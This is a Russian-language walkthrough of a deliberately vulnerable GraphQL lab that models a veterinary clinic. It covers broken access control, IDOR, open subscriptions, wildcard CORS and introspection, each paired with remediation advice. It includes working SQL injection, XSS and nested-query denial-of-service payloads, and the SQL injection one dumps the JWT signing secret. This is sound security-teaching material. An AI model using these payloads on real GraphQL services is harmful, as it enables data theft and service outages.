
Исследование GraphQL с точки зрения AppSec.
Была создана лабораторная работа для изучения различных проблем, которая выполнена в контексте ветеринарной клиники, занимающейся лечением собак.
Лабораторная работа разработана с использованием IntelliJ IDEA Community Edition.
Используются следующие домены:```text
127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local
Вот условия и предположения лабораторной работы:
* Ветеринар может быть связан с 0 или N собаками.
* Собака может быть связана с 0 или 1 ветеринаром.
* Ветеринар имеет свойство **Популярность**, которое хранится в базе данных, но не должно быть доступно для клиента GraphQL, так как это конфиденциальная информация.
* Точка потребления данных GraphQL — это ветеринар. Информация о собаках является публичной.
* Лабораторная работа явно является уязвимым приложением, в котором реализовано несколько уязвимостей, идентифицированных с помощью маркера `[VULN]` в комментариях.
* Что касается аутентификации, был реализован поддельный сторонний сервис (через сервлет), который возвращает JWT-токен, содержащий имя ветеринара в самом токене.
После запуска с помощью конфигурации запуска в проекте или командной строки `mvn spring-boot:run` лабораторная работа доступна по следующим конечным точкам:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
Для упаковки приложения в виде переносимого jar-файла используйте команду `mvn package` (предварительно собранный jar-файл доступен [здесь](https://github.com/righettod/poc-graphql/releases)):
* Jar-файл будет создан в папке *target* и будет называться *graphql-poc.jar*.
* Используйте команду `java -jar graphql-poc.jar` для запуска приложения.
## Развертывание в Docker
> Образ публикуется ежедневно на [DockerHub](https://hub.docker.com/r/righettod/poc-graphql)
Для развертывания приложения в Docker-контейнере выполните следующие шаги:
1. Убедитесь, что у вас установлен `docker`.
2. `git clone` репозиторий.
3. Перейдите в клонированную директорию.
4. Соберите Docker-образ с помощью `docker build -t poc-graphql .`
5. Теперь на вашем компьютере создан образ с именем **poc-graphql:latest**.
6. Запустите контейнер с помощью `docker run -p 8080:8080 poc-graphql:latest`
7. Получите доступ к лабораторной работе по следующим конечным точкам:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
## Уязвимости в безопасности
### Авторизация
*нарушение управления доступом*
[CWE-285](https://cwe.mitre.org/data/definitions/285.html)
#### Проблема
Поскольку GraphQL основан на одной конечной точке, на которую отправляются все запросы, а авторизация выходит за рамки спецификации (нет встроенных функций).
Приложение должно самостоятельно реализовывать логику авторизации.
В моей лабораторной работе есть уязвимость в этом месте, так как проверка токена доступа не проверяет, принадлежит ли токен ветеринару, переданному в **veterinaryId**
**Пример:**
Я запрашиваю токен доступа для **Доктора Жюльена**, который имеет идентификатор **3** в хранилище, отправляя этот GraphQL-запрос:```javascript
query getAccessToken {
auth(veterinaryName: "Julien")
}
Я получаю токен доступа в следующем ответе GraphQL:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }
Я отправляю GraphQL-запрос к запросу `myInfo(...)`, используя полученный токен доступа, НО указываю идентификатор **2**, который является идентификатором **доктора Бенуа**:```javascript
query brokenAccessControl {
myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
id, name, dogs {
name
}
}
}
Я получаю в ответе GraphQL список собак, связанных с Dr Benoit:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...
#### Рекомендация
С помощью GraphQL мы перешли от матрицы авторизации с использованием `Role x Feature` к безопасности на уровне данных с использованием `Role x Data`, потому что это также единые конечные точки. Идентичность и роли пользователя должны передаваться на верхний уровень, отвечающий за получение данных (или воздействие на них), чтобы применить проверку с использованием идентичности пользователя перед получением данных.
### Инъекция
[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)
#### Проблема
В зависимости от того, как информация из GraphQL-запроса/мутации/подписки используется сервером GraphQL для воздействия на хранилища данных, существует возможность внедрения.
В моих лабораторных работах есть уязвимость в этом месте, связанная с SQLi в запросе `dogs(namePrefix: String, limit: Int = 500): [Dog!]`, так как параметр **namePrefix** используется в конкатенации строк для построения SQL-запроса.
**Пример:**
Я отправляю этот GraphQL-запрос, чтобы вывести содержимое таблицы `CONFIG````javascript
query sqli {
dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
id
name
}
}
В ответе GraphQL я получаю секрет, используемый для подписи JWT token, вместе с именем собаки, название которой начинается на ab:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }
Относительно XSS интересно отметить, что ответ GraphQL отражает параметр, отправленный в случае неудачной проверки отправленного запроса.
**Пример:**
Я отправляю этот GraphQL-запрос к запросу `myInfo(accessToken: String!, veterinaryId: Int!): Veterinary`, я заменяю идентификатор Veterinary (который является целым числом) на строковую XSS-нагрузку:```javascript
query xss {
myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
veterinaryId: "<script>alert('XSS')</script>") {
id
}
}
Я получаю этот ответ GraphQL, который отражает мою нагрузку, поэтому, в зависимости от поведения GraphQL-клиента и его механизма экранирования/санитизации, это может открыть путь для XSS:```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }
#### Рекомендации
* Применяйте проверку входных данных, полученных через Query/Mutation/Subscription, перед их использованием
* Убедитесь, что клиент, отображающий данные из ответа GraphQL, применяет экранирование/санитизацию данных перед их отображением.
### Истощение ресурсов
[CWE-400](https://cwe.mitre.org/data/definitions/400.html)
#### Проблема
Поскольку клиент контролирует объем запрашиваемых данных, он может отправить запрос GraphQL к запросу, который вызывает истощение ресурсов в хранилищах, вызываемых сервером GraphQL, а также самого сервера GraphQL при сериализации данных в JSON.
Эта проблема может также возникнуть при использовании мутации путем отправки большого объема данных в параметрах (проверка входных данных может быть использована для предотвращения этой атаки).
Эта проблема может также возникнуть при использовании подписки путем:
* Регистрации большого количества подписчиков на каждую опубликованную подписку.
* Отправки большого объема данных в параметрах, используемых подписками.
В моих лабораторных работах уязвимость в этом моменте присутствует для запроса, а именно в запросе `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]`, который доступен анонимному пользователю и извлекает содержимое базы данных о собаках. Поскольку существует связь между собаками и ветеринаром, и обратная, то можно выполнить каскадные вызовы, вызывающие истощение ресурсов на уровне SQL в базе данных.
**Пример:**
Когда я отправляю этот запрос, мой CPU загружается на 100% на несколько минут, а моя база данных локальная, потому что это SQLite```javascript
query dos {
allDogs(onlyFree: false, limit: 1000000) {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
}
}
}
}
}
}
}
}
}
}
}
}

Для запроса:
В зависимости от реализации сервера GraphQL используйте встроенную защиту, предоставляемую для Maximum Query Depth и Query Complexity (см. спецификации здесь).
Для реализации на Java добавьте следующие 2 класса инструментария в стратегию выполнения:
См. этот класс для примера использования двух вышеуказанных инструментариев.
Для Мутации/Подписки:
В GraphQL клиенту предоставляется функция интроспекции для доступа к схеме API, чтобы узнать доступные данные, запросы, мутации и подписки на них.
Примечание: Отключение Introspection нарушает спецификацию GraphQL и ожидания большинства клиентов, поэтому используйте это с осторожностью; с точки зрения бизнеса предпочтительнее фильтровать доступ, а не отключать его.
Это означает, что любой клиент может просматривать схему, чтобы увидеть в Type, не разглашаются ли какие-либо интересные конфиденциальные данные (то же самое касается действий в отношении раскрытых Mutation или Subscription).
Используя GraphiQL через панель Documentation Explorer или этот скрипт, можно просмотреть схему, раскрытую конечной точкой GraphQL.
В моей лаборатории я по ошибке раскрыл информацию о популярности, считающуюся конфиденциальной, о ветеринарном враче в типе Veterinary.
В моей лаборатории этот url позволяет получить копию схемы.
Пример:
Используя панель Documentation Explorer, я нашел это поле:



Ограничение аутентификации может быть установлено на доступ к конечной точке GraphQL, чтобы предотвратить раскрытие анонимному пользователю, но любой аутентифицированный пользователь получит доступ к этой схеме информации.
Даже если клиент может увидеть структуру типа, раскрывающего конфиденциальную информацию, для просмотра этой информации ему необходимо иметь разрешение на Query/Mutation/Subscription, возвращающий эти данные.
Не отображайте конфиденциальную информацию в типы, определенные в схеме.
Поскольку GraphQL материализует то, как клиент будет потреблять данные, GraphQL не должен раскрывать все данные, доступные в связанном хранилище, а только те, которые полезны клиенту в соответствии с бизнес-контекстом раскрываемого API GraphQL.
Когда сервер GraphQL сталкивается с непредвиденной ошибкой (ввод-вывод с хранилищами, NullPointerException, Timeout...), ответ указывает Internal Server Error(s) while executing query, что дает подсказку атакующему о том, что он воздействовал на систему и вызвал неожиданное поведение.
Пример:
Когда я отправляю этот запрос в своей лаборатории (неверный токен):```javascript query testErrorHandling { myInfo(accessToken:"aaaa", veterinaryId: 2){ id, name, dogs { name,veterinary{ name } } } }
Я получаю этот ответ, который сообщает мне, что я воздействовал на систему и вызвал неожиданное поведение. Возможно, например, я сгенерировал трассировку стека в логе приложения, и если файлы логов приложения ротируются по дате (ежедневно), а не по размеру, то я могу отправить этот запрос несколько раз, чтобы заполнить диск журналами ошибок...```javascript
{
"data": {
"myInfo": null
},
"errors": [
{
"message": "Internal Server Error(s) while executing query",
"path": null,
"extensions": null
}
]
}
Возвращайте общую ошибку при обнаружении неожиданной ошибки, например, Запрос не может быть обработан!
Пример можно посмотреть в этом классе.
Если GraphQL API предоставляет Query/Mutation/Subscription, идентификаторы данных которых угадываемы/предсказуемы, то эти Query/Mutation/Subscription подвержены атаке IDOR. В такой атаке злоумышленник использует специально созданный список идентификаторов, чтобы попытаться получить доступ или выполнить действие над данными, идентификатор которых есть в списке. Действие будет успешным, если также присутствуют проблемы авторизации в целевом Query/Mutation/Subscription, обрабатывающем целевые данные.
GraphQL API Query/Mutation/Subscription, представленные в моих лабораторных работах, уязвимы для IDOR, поскольку я использую последовательные целые числа в качестве уникальных идентификаторов для Dog и Veterinary.
Пример:
Используя Documentation Explorer в GraphiQL, мы видим, что идентификаторы являются простыми целыми числами и последовательны:


Запрос для обнаружения IDOR:```javascript query detectIDOR { allDogs{ id,veterinary{ id } } }
В ответе отображается последовательный идентификатор для Dog и Veterinay:```javascript
{
"data": {
"allDogs": [
{
"id": 1,
"veterinary": {
"id": 1
}
},
{
"id": 2,
"veterinary": {
"id": 1
}
},
{
"id": 3,
"veterinary": {
"id": 1
}
},
...
{
"id": 55,
"veterinary": {
"id": 2
}
},
{
"id": 56,
"veterinary": {
"id": 2
}
},
{
"id": 57,
"veterinary": {
"id": 2
}
},
{
"id": 58,
"veterinary": {
"id": 2
}
},
{
"id": 59,
"veterinary": {
"id": 2
}
...
При использовании сервера реализации GraphQL для построения вашего GraphQL API может случиться так, что этот сервер по умолчанию включает некоторые функции, которые раскрывают GraphQL API для неправильной сферы клиентов.
В моей лаборатории это так, потому что по умолчанию WebSocket конечная точка открыта по пути /subscriptions и не требует аутентификации (см. эту документацию, а именно раздел Realtime Updates with Subscriptions):

Клиенты могут получить доступ к данным API через эту конечную точку, если схема объявляет подписки в разделе Subscription.
Пример:
Я вижу подписки, раскрытые через схему:

Если я отправлю этот запрос на подписку для получения события от подписки newAssociation:```javascript subscription subscribeToNewAssociation{ newAssociation }
Я получаю следующее сообщение, указывающее, что отныне я буду получать информацию по этой подписке:```text
Your subscription data will appear here after server publication!
И когда я создаю ассоциацию через этот мутационный запрос в другом браузере, например:```javascript mutation associateDog{ associateDogToMe(accessToken: "eyJ0eXAiOiJKV1Qi...", veterinaryId: 4, dogId: 198){ name } }
Ответ мутации доказывает, что действие выполнено на уровне данных:```javascript
{
"data": {
"associateDogToMe": {
"name": "Dobby"
}
}
}
Через мгновение я получаю это уведомление в ответ на мою подписку:```javascript { "newAssociation": "Dog['Dobby'] associated with Veterinary['Maxime']." }

##### Включение Cross-Origin Resource Sharing по умолчанию
В моей лаборатории это так, потому что по умолчанию [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) включен и установлен на `*`, поэтому API может вызываться с любого `origin`.
**Пример:**
Когда я отправляю этот запрос, в котором указываю другой `origin` от *domain1.local* до *domain2.local*:```text
POST /graphql HTTP/1.1
Host: domain2.local:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
origin: http://domain1.local:8080
referer: http://domain1.local:8080
Content-Length: 104
DNT: 1
Connection: close
Pragma: no-cache
Cache-Control: no-cache
{"query":"query testCORS {\n allDogs{\n name\n }\n}\n","variables":null,"operationName":"testCORS"}
Я получаю этот ответ:
...code...
``````text
HTTP/1.1 200 OK
Connection: close
Access-Control-Allow-Origin: *
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json;charset=UTF-8
Content-Length: 3562
Date: Sat, 05 Jan 2019 16:23:47 GMT
{"data":{"allDogs":[{"name":"Abi"},...
Вызов из браузера:


Проверьте функции, включенные по умолчанию, и отключите их, если это влияет на раскрытие API.
Для конечной точки Subscriptions:
В моей лаборатории нужно было установить следующие параметры в этом файле конфигурации:
graphql.servlet.corsEnabled=falsegraphql.servlet.websocket.enabled=falseСледующие запросы можно использовать для получения схемы.
Не подробно:```javascript { __schema { types { name kind description fields { name } } } }
Подробно:```javascript
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}